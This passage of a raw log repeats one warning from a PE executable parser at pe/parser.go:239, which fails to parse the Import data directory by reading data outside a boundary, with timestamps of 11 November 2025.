level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading 